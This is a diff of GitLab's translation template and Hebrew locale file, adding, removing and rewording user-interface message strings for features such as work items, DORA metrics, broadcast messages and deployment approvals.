@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/he_IL/gitlab.po b/locale/he_IL/gitlab.po
index bd3b4c44b48..559b3542484 100644
--- a/locale/he_IL/gitlab.po
+++ b/locale/he_IL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: he\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -932,6 +932,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -1004,6 +1007,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1137,6 +1143,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr "×œ× × ×™×ª×Ÿ להוסיף ×ת %{ref}: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1156,6 +1168,13 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1202,9 +1221,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1328,13 +1344,6 @@ msgstr ""
msgid "%{text} is available"
msgstr "%{text} זמין"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1805,7 +1814,7 @@ msgstr[2] ""
msgstr[3] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -2038,6 +2047,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2182,9 +2194,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr "שגי×ת שירות AWS:†%{error}"
-
msgid "Abort"
msgstr ""
@@ -2233,9 +2242,6 @@ msgstr "×סימוני גישה"
msgid "Access denied for your LDAP account."
msgstr "הגישה לחשבון ה־LDAP שלך נדחתה."
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2395,7 +2401,7 @@ msgstr "פעולות"
msgid "Activate Service Desk"
msgstr "הפעלת דלפק שירות"
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2473,6 +2479,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2851,15 +2860,18 @@ msgstr "×ž×©×ª×ž×©×™× ×¤×¢×™×œ×™×"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr "×ž×©×ª×ž×©×™× ×—×¡×•×ž×™×"
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "רכיבי×"
@@ -2941,9 +2953,18 @@ msgstr "לעצור משימות"
msgid "AdminArea|Stopping jobs failed"
msgstr "עצירת המשימות נכשלה"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "סך כל המשתמשי×"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2971,6 +2992,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -3025,6 +3052,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -3094,6 +3124,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3268,9 +3304,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3316,6 +3349,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3562,7 +3598,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3607,6 +3643,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3865,6 +3904,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4507,9 +4549,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4678,15 +4717,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4720,9 +4750,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4976,6 +5003,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -5122,9 +5161,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5216,6 +5252,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5364,6 +5403,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5923,6 +5965,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5938,12 +5983,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7523,9 +7574,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -8124,6 +8259,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8235,13 +8373,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8528,6 +8663,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8687,12 +8825,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8876,6 +9008,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -9003,6 +9138,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -9105,12 +9243,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9778,21 +9922,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10283,6 +10412,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11180,6 +11312,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11573,6 +11708,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12471,6 +12609,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12495,6 +12636,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12507,7 +12651,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12528,6 +12675,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12549,6 +12702,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12567,6 +12726,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12588,6 +12756,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12597,6 +12771,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12612,9 +12789,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13534,11 +13708,12 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13609,6 +13784,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13996,9 +14174,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -14014,6 +14198,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
